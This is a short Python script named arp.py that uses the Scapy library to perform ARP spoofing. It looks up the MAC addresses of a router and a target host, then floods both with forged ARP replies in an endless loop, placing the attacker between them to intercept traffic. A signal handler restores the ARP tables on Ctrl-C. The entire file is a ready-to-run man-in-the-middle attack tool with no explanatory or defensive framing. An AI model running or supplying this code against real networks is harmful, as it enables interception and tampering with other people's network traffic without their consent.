arp.py
1.12 KB
from scapy.all import ARP, send, srp, Ether
import time
import sys
import signal
def originalMAC(ip):
ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3)
for s,r in ans:
return r[Ether].src
def poison(routerIP, targetIP, routerMAC, targetMAC):
send(ARP(op=2, pdst=targetIP, psrc=routerIP, hwdst=targetMAC))
send(ARP(op=2, pdst=routerIP, psrc=targetIP, hwdst=routerMAC))
def restore(routerIP, targetIP, routerMAC, targetMAC):
send(ARP(op=2, pdst=routerIP, psrc=targetIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetMAC), count=3)
send(ARP(op=2, pdst=targetIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)
def arp_spoofing(routerIP, targetIP):
routerMAC = originalMAC(routerIP)
targetMAC = originalMAC(targetIP)
def signal_handler(signal, frame):
print("Restoring ARP Tables")
restore(routerIP, targetIP, routerMAC, targetMAC)
restore(routerIP, targetIP, routerMAC, targetMAC)
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
while 1:
poison(routerIP, targetIP, routerMAC, targetMAC)